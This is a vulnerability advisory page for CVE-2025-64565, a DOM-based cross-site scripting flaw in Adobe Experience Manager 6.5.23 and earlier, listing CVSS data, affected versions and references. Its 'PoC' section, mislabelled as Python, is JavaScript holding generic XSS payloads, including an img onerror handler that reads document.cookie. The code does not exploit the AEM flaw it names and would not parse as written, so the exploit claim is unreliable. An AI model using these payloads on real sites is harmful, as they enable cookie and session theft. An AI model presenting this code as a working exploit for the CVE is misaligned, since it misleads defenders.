CVE-2025-64565

Description

Adobe Experience Manager versions 6.5.23 and earlier are affected by a DOM-based Cross-Site Scripting (XSS) vulnerability that could be exploited by a low privileged attacker to execute malicious scripts in the context of the victim's browser. Exploitation of this issue requires user interaction, such as visiting a crafted URL or interacting with a manipulated web page.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:adobe:experience_manager:*:*:*:*:-:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:*:*:*:*:aem_cloud_service:*:*:* - VULNERABLE

cpe:2.3:a:adobe:experience_manager:6.5:-:*:*:lts:*:*:* - VULNERABLE

Adobe Experience Manager <= 6.5.23

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-64565 PoC - DOM-based XSS in Adobe Experience Manager -->
<script>
// Basic PoC for DOM-based XSS
// Target: Adobe Experience Manager <= 6.5.23
// Attack Vector: Inject malicious script via URL parameter

function exploitAEM() {
    // Method 1: Direct script injection via URL fragment
    const maliciousURL = window.location.href.split('?')[0] + 
        '?<script>alert(String.fromCharCode(88,83,83))</script>';
    
    // Method 2: Using img onerror event
    const imgPayload = '<img src=x onerror="alert(document.cookie)">';
    
    // Method 3: Using SVG element
    const svgPayload = '<svg onload="alert(document.domain)">';
    
    console.log('PoC payloads generated');
    return {
        url: maliciousURL,
        imgPayload: imgPayload,
        svgPayload: svgPayload
    };
}

// Execute PoC
window.addEventListener('DOMContentLoaded', function() {
    console.log('Testing CVE-2025-64565');
    exploitAEM();
});
</script>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-64565
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-64565
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-64565/
[4] VulDB https://vuldb.com/cve/CVE-2025-64565
[5] https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html

Raw JSON Data

JSON

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